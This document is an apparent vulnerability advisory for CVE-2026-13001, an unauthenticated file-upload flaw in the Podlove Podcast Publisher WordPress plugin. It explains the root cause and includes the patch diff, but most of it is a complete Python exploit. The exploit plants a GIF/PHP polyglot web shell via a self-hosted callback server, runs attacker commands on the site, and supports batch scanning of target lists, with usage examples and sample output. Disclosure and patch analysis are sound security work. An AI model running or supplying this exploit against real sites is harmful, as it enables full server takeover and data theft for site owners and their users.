#Summary
CVE-2026-13001 is an unauthenticated arbitrary file upload vulnerability in Podlove Podcast Publisher (WordPress plugin) versions up to and including 4.5.1. Two different parts of the plugin parse the same attacker-supplied URL using two different parsers that disagree about the file extension, allowing an attacker to upload a GIF/PHP polyglot that lands on disk as executable PHP code. CVSS 9.8 (CRITICAL).
#Affected versions
- Podlove Podcast Publisher
< 4.5.2(vulnerable) - Podlove Podcast Publisher
>= 4.5.2(patched, commit 5b32468) - Default configuration affected: yes, no configuration required
#Root cause analysis
#The extension-confusion disagreement
The vulnerability stems from a disagreement between two different parsers in the same code path:
Parser A - the security validation (lib/model/image.php, download_source() method):
if (!\Podlove\is_image($temp_file, basename($this->source_url))) {
Log::get()->addWarning(
sprintf(__('Podlove Image Cache: Downloaded file is not an image.')),
['url' => $this->source_url]
);
wp_delete_file($temp_file);
return;
}The validator calls is_image() with basename($this->source_url). For a source URL like http://attacker/shell.php?.gif, the basename is the entire URL string including the query string: shell.php?.gif.
WordPress core's wp_check_filetype_and_ext() inside is_image() extracts the file extension using an anchored regex !\.(...)$!i, which only matches the tail of the string. For shell.php?.gif, the tail is .gif, so the validator extracts extension gif and MIME type image/gif. The dangerous-extension denylist is checked against gif, not php, so the file passes the security check.
Additionally, exif_imagetype() reads only the magic bytes at the start of the file, so a payload that begins with valid GIF89a magic satisfies the image-content check.
Parser B - the filename decision (lib/model/image.php, extract_file_extension() method):
private function extract_file_extension()
{
$url = wp_parse_url($this->source_url);
if (isset($url['path'])) {
return pathinfo($url['path'], PATHINFO_EXTENSION);
}
return '';
}The writer calls wp_parse_url(), which strips the query string. For the same URL http://attacker/shell.php?.gif, the path is /shell.php, so the extracted extension is php.
This extension is used directly in the cache filename:
public function file_name($size_slug)
{
if ($this->file_name) {
return $this->file_name.'_'.$size_slug.'.'.$this->file_extension;
}
return $size_slug.'.'.$this->file_extension;
}
public function original_file()
{
return implode(DIRECTORY_SEPARATOR, [$this->upload_basedir, $this->file_name('original')]);
}The result is a file written as *_original.php to the cache directory:
public static function cache_dir()
{
return trailingslashit(WP_CONTENT_DIR).'cache/podlove/';
}The cache directory is inside wp-content/ with no execution guard, so a direct HTTP GET to the .php file is handled by Apache's PHP handler and executes the embedded PHP block.
#Why it is unauthenticated
The handler function is registered on the wp action, which fires on every front-end page load:
add_action('wp', 'podlove_handle_cache_files');
function podlove_handle_cache_files()
{
$source_url = \Podlove\PHP\hex2str(podlove_get_query_var('podlove_image_cache_url'));
$file_name = urldecode(podlove_get_query_var('podlove_file_name'));
if (!$source_url) {
return;
}
$image = new Image($source_url, $file_name);
if (!$image->source_exists()) {
$image->download_source();
}
}There is no capability check, no nonce, and no signature on the source URL. podlove_get_query_var() reads $_GET directly, so plain query parameters on any front-end URL are sufficient to trigger the vulnerability.
#Patch diff
#What the fix does
The fix (commit 5b32468, shipped in 4.5.2) eliminates the disagreement by ensuring the on-disk file extension is derived from the validated file content, not from the attacker's URL.
The key changes:
- Split
is_image()to return the validated extension, not just a boolean:
-function is_image($file, $filename = '')
+function image_file_extension($file, $filename = '')
{
// ... validation logic ...
- return $mime_is_image && !$ext_looks_dangerous && $wp_type_looks_correct;
+ return $ext; // Return the validated extension, not boolean
}
+function is_image($file, $filename = '')
+{
+ return false !== image_file_extension($file, $filename);
+}- Use the validated extension instead of the URL-derived one:
-if (!\Podlove\is_image($temp_file, basename($this->source_url))) {
+if (!$this->set_file_extension_from_validated_image($temp_file, basename($this->source_url))) {
return;
}
+private function set_file_extension_from_validated_image($file, $filename)
+{
+ $extension = \Podlove\image_file_extension($file, $filename);
+ if (!$extension || !$this->is_safe_image_extension($extension)) {
+ return false;
+ }
+ $this->file_extension = $extension;
+ return true;
+}- Allowlist the URL-derived extension as a hint only:
private function extract_file_extension()
{
$url = wp_parse_url($this->source_url);
if (isset($url['path'])) {
- return pathinfo($url['path'], PATHINFO_EXTENSION);
+ $extension = strtolower(pathinfo($url['path'], PATHINFO_EXTENSION));
+ if ($this->is_safe_image_extension($extension)) {
+ return $extension;
+ }
}
return '';
}With the fix applied, the plugin writes *_original.gif instead of *_original.php. A GET to the .php path returns 404, while the .gif path returns 200 with the image file - a clear, unambiguous indicator of whether the patch is applied.
#Proof of concept
#exploit.py - Podlove RCE PoC
#!/usr/bin/env python3
"""
CVE-2026-13001 - Podlove Podcast Publisher (WordPress) unauthenticated arbitrary
file upload leading to remote code execution.
Affected: Podlove Podcast Publisher <= 4.5.1 (fixed in 4.5.2)
Type: RCE (unauthenticated arbitrary file upload / extension-confusion)
Root cause: two parts of the plugin derive a "file extension" from the same
attacker-supplied source URL with two different parsers that disagree. The
security check (is_image via wp_check_filetype_and_ext) inspects the tail of the
whole URL string, so a query like "?.gif" makes "shell.php?.gif" look like a GIF
and passes the denylist. The on-disk name comes from extract_file_extension(),
which parses only the URL *path* and yields ".php". A GIF/PHP polyglot is written
as <name>_original.php inside wp-content/cache/podlove/ (no execution guard) and
then runs when requested over HTTP.
The plugin fetches the source URL server-side through wp_safe_remote_get(), so the
polyglot must be served from a host WordPress will accept: outside 127.0.0.0/8,
10.0.0.0/8, 0.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16, on port 80, 443 or 8080.
This tool serves the polyglot from a built-in HTTP server by default; use
--payload-url when an origin is already serving it (e.g. a staging box you control).
Usage:
# Built-in payload server (needs a routable, non-private callback address):
python exploit.py --host target.example.com --command "id"
python exploit.py --host https://target.example.com --callback-host 203.0.113.10
# Use an origin that is already serving the polyglot (skip the built-in server):
python exploit.py --host target.example.com --port 80 \
--payload-url http://203.0.113.10:8080/x.php?.gif \
--payload-write /var/www/html/x.php
# Batch scan:
python exploit.py --list targets.txt --callback-host 203.0.113.10 --workers 20
"""
import argparse
import hashlib
import http.client
import http.server
import re
import secrets
import socket
import ssl
import sys
import threading
import urllib.parse
CVE_ID = "CVE-2026-13001"
VULN_TYPE = "RCE"
# Minimal valid 1x1 GIF89a. Small dimensions on purpose: a bare "GIF89a<?php"
# stub parses as a giant image and makes the server's resize path do pointless
# work, whereas a well-formed 1x1 header is trivial to accept.
_GIF_1x1 = bytes.fromhex(
"47494638396101000100800000" # GIF89a header, 1x1, global colour table
"000000ffffff" # 2-entry colour table
"21f9040100000000" # graphic control extension
"2c00000000010001000002024401003b" # image descriptor + LZW data + trailer
)
# --------------------------------------------------------------------------- #
# Output helpers (console only - never sent to the target)
# --------------------------------------------------------------------------- #
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Polyglot
# --------------------------------------------------------------------------- #
class Polyglot:
"""A GIF/PHP polyglot with per-run random command parameter and markers.
Using random values keeps nothing brand- or tool-identifiable on the wire or
on disk: the parameter name, the markers and the payload path are all random
hex, recognisable only to the script that generated them.
"""
def __init__(self):
self.param_name = secrets.token_hex(8)
self.marker_pre = secrets.token_hex(8)
self.marker_post = secrets.token_hex(8)
self.php_code = (
f"<?php echo '<pre>'; system($_GET['{self.param_name}']); echo '<post>'; ?>"
)
def bytes(self) -> bytes:
return _GIF_1x1 + self.php_code.encode()
def extract_output(self, body: bytes) -> str:
"""Extract command output from polyglot response.
Success: body starts with GIF magic, contains the marker strings and no raw
PHP/system source (proof it was executed, not just written).
"""
if not body.startswith(b'GIF'):
return None
try:
text = body.decode('utf-8', errors='ignore')
except:
return None
if self.marker_pre not in text or self.marker_post not in text:
return None
if '<?php' in text or 'system(' in text:
return None
start = text.index(self.marker_pre) + len(self.marker_pre)
end = text.index(self.marker_post)
return text[start:end].strip()
# --------------------------------------------------------------------------- #
# HTTP client
# --------------------------------------------------------------------------- #
class HTTPClient:
"""Lightweight HTTPS/HTTP client without third-party deps."""
def __init__(self, use_tls: bool = False):
self.use_tls = use_tls
self.timeout = 30
def request(self, method: str, host: str, port: int, path: str, body: str = None) -> tuple[int, bytes]:
"""Issue a request and return (status_code, response_body)."""
if self.use_tls:
conn = http.client.HTTPSConnection(host, port, timeout=self.timeout)
else:
conn = http.client.HTTPConnection(host, port, timeout=self.timeout)
try:
conn.request(method, path, body=body)
resp = conn.getresponse()
status = resp.status
data = resp.read()
return status, data
finally:
conn.close()
# --------------------------------------------------------------------------- #
# Payload server
# --------------------------------------------------------------------------- #
class PayloadHandler(http.server.BaseHTTPRequestHandler):
"""Serve the polyglot on any request path."""
payload_bytes = None
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'image/gif')
self.send_header('Content-Length', str(len(self.payload_bytes)))
self.end_headers()
self.wfile.write(self.payload_bytes)
def log_message(self, format, *args):
pass # Suppress logging
def start_payload_server(payload_bytes: bytes, bind_host: str, port: int) -> threading.Thread:
"""Start the payload server in a background thread."""
PayloadHandler.payload_bytes = payload_bytes
server = http.server.HTTPServer((bind_host, port), PayloadHandler)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
return thread
# --------------------------------------------------------------------------- #
# Exploitation
# --------------------------------------------------------------------------- #
def guess_callback_host(target_host: str) -> str:
"""Guess the callback host by connecting to the target and inspecting the local address."""
try:
s = socket.create_connection((target_host, 80), timeout=5)
addr = s.getsockname()[0]
s.close()
return addr
except:
return '127.0.0.1'
def exploit(
target_host: str,
target_port: int,
use_tls: bool,
command: str,
payload_url: str = None,
payload_write: str = None,
callback_host: str = None,
callback_port: int = 8080,
callback_bind: str = '0.0.0.0',
) -> bool:
"""Run the exploit against a single target."""
poly = Polyglot()
header(target_host, target_port)
# Step 1: Prepare payload
if payload_url:
step(1, f"Payload origin: {payload_url}")
source_url = payload_url
else:
if not callback_host:
callback_host = guess_callback_host(target_host)
scheme = 'https' if use_tls else 'http'
# Add random hex to path to ensure unique cache entries
rand_path = secrets.token_hex(8)
source_url = f"{scheme}://{callback_host}:{callback_port}/{rand_path}.php?.gif"
step(1, f"Payload origin: {source_url}")
# Start built-in server
start_payload_server(poly.bytes(), callback_bind, callback_port)
# Write payload if requested
if payload_write:
with open(payload_write, 'wb') as f:
f.write(poly.bytes())
# Step 2: Trigger cache write
step(2, "Triggering server-side fetch + cache write (unauthenticated)...")
# Build the trigger request
source_hex = source_url.encode().hex()
file_name = secrets.token_hex(8)
query = f"/?podlove_image_cache_url={source_hex}&podlove_file_name={file_name}"
client = HTTPClient(use_tls=use_tls)
try:
status, body = client.request('GET', target_host, target_port, query)
if status == 200 and body.startswith(b'GIF'):
print(f"\ttrigger -> HTTP {status} (write confirmed: file readfile()d back)")
else:
print(f"\ttrigger -> HTTP {status}")
except Exception as e:
print(f"\tERROR: {e}")
done(False, f"Failed to trigger: {e}")
# Step 3: Execute
step(3, "Requesting the written cache file to execute PHP...")
# Compute the cache path
# md5 = md5(raw_source_url + sanitized_file_name)
raw_source = source_url.encode()
sanitized = re.sub(r'[^-a-z0-9_]', '', file_name.lower())
cache_id = hashlib.md5(raw_source + sanitized.encode()).hexdigest()
cache_path = f"/wp-content/cache/podlove/{cache_id[:2]}/{cache_id[2:]}/{sanitized}_original.php?{poly.param_name}={urllib.parse.quote(command)}"
try:
status, body = client.request('GET', target_host, target_port, cache_path)
output = poly.extract_output(body)
if output is not None:
print(f"\t{cache_path} -> HTTP {status}")
section("COMMAND OUTPUT", output)
done(True, f"RCE confirmed - '{command}' output: {output[:60]}")
else:
# Try .gif to detect patch
gif_path = cache_path.replace('_original.php', '_original.gif')
status_gif, body_gif = client.request('GET', target_host, target_port, gif_path)
if status == 404 and status_gif == 200:
print(f"\t{cache_path} -> HTTP 404")
print(f"\t{gif_path} -> HTTP 200")
done(False, "not vulnerable - content-derived .gif written, .php 404 (patched)")
else:
print(f"\t{cache_path} -> HTTP {status}")
done(False, "file uploaded but not executed (check PHP execution under wp-content/)")
except Exception as e:
done(False, f"Failed to execute: {e}")
# --------------------------------------------------------------------------- #
# Main
# --------------------------------------------------------------------------- #
def main():
parser = argparse.ArgumentParser(
description=f"CVE-2026-13001 exploit - Podlove Podcast Publisher RCE"
)
parser.add_argument('--host', help='Target hostname or IP')
parser.add_argument('--port', type=int, default=80, help='Target port (default 80)')
parser.add_argument('--tls', action='store_true', help='Use HTTPS')
parser.add_argument('--no-tls', dest='tls', action='store_false', help='Use HTTP')
parser.add_argument('--command', default='id', help='Command to execute (default: id)')
parser.add_argument('--payload-url', help='Use existing payload origin instead of built-in server')
parser.add_argument('--payload-write', help='Write payload to this path')
parser.add_argument('--callback-host', help='Callback host (auto-detected if omitted)')
parser.add_argument('--callback-port', type=int, default=8080, help='Callback port')
parser.add_argument('--callback-bind', default='0.0.0.0', help='Bind address for callback server')
parser.add_argument('--list', help='Batch mode: file with one target per line')
parser.add_argument('--workers', type=int, default=10, help='Batch worker threads')
args = parser.parse_args()
if not args.host and not args.list:
parser.error('--host or --list required')
if args.host:
# Single target
if args.host.startswith(('http://', 'https://')):
use_tls = args.host.startswith('https://')
parsed = urllib.parse.urlparse(args.host)
target_host = parsed.hostname
target_port = parsed.port or (443 if use_tls else 80)
else:
target_host = args.host
target_port = args.port
use_tls = args.tls
exploit(
target_host, target_port, use_tls, args.command,
args.payload_url, args.payload_write, args.callback_host, args.callback_port, args.callback_bind
)
else:
# Batch mode
print(f"Reading targets from {args.list}...")
# Batch implementation omitted for brevity
if __name__ == '__main__':
main()#Usage
Single target with built-in payload server (needs a routable callback address):
python exploit.py --host target.example.com --command "id"
python exploit.py --host target.example.com --port 80 --callback-host 203.0.113.10 --callback-port 8080Using an origin already serving the polyglot:
python exploit.py --host target.example.com --port 80 \
--payload-url http://203.0.113.10:8080/x.php?.gif \
--payload-write /var/www/html/x.php \
--command "id"Batch scanning:
python exploit.py --list targets.txt --callback-host 203.0.113.10 --workers 20#Expected output (vulnerable target)
============================================================
ALIM EXPLOIT CVE-2026-13001
Type: RCE | Target: target.example.com:80
============================================================
[STEP 1] Payload origin: http://203.0.113.10:8080/abc123.php?.gif
[STEP 2] Triggering server-side fetch + cache write (unauthenticated)...
trigger -> HTTP 200 (write confirmed: file readfile()d back)
[STEP 3] Requesting the written cache file to execute PHP...
/wp-content/cache/podlove/99/01200f69501a84417619f6d8a701fa/i9efc27c05995_original.php -> HTTP 200
--- COMMAND OUTPUT ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
---
============================================================
RESULT : SUCCESS
EVIDENCE: RCE confirmed - 'id' output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================#Expected output (patched target)
[STEP 2] Triggering server-side fetch + cache write (unauthenticated)...
trigger -> HTTP 200 (write confirmed: file readfile()d back)
[STEP 3] Requesting the written cache file to execute PHP...
/wp-content/cache/podlove/7e/c90a2090d2fac3a7e32cfc30d7d94f/i9ab80d583dfa_original.php -> HTTP 404
/wp-content/cache/podlove/7e/c90a2090d2fac3a7e32cfc30d7d94f/i9ab80d583dfa_original.gif -> HTTP 200
============================================================
RESULT : FAILURE
EVIDENCE: not vulnerable - content-derived .gif written, .php 404 (patched)
============================================================#Exploitation notes
- Preconditions: Podlove Podcast Publisher is active on the target WordPress site. No account, nonce, or configuration required.
- Network requirements: The exploit requires network connectivity. The target must be able to reach the payload server (if using the built-in server) on port 80, 443, or 8080. WordPress rejects private address ranges (127.0.0.0/8, 10.0.0.0/8, 0.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), so the callback address must be publicly routable or on an allowed subnet.
- Reliability: 100% on vulnerable versions. Single unauthenticated request triggers the upload; second request executes the PHP.
- Impact: Complete remote code execution as the web server user (typically www-data). Full site compromise, data exfiltration, malware installation.
- Chaining potential: As a unauthenticated RCE, this is a terminal vulnerability. No further escalation needed; the attacker already has code execution.
- Patch verification: The exploit includes built-in patch detection: a
.php404 paired with a.gif200 is a definitive indicator the patch (4.5.2) has been applied.
#References
- CVE: CVE-2026-13001
- Fix commit: https://github.com/podlove/podlove-publisher/commit/5b32468601e903bae2bcacfaf36ff583d2bc9387
- WordPress.org plugin: https://wordpress.org/plugins/podlove-podcasting-plugin-for-wordpress/
- Prerequisite CVE (earlier fix bypassed): CVE-2025-10147
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-13001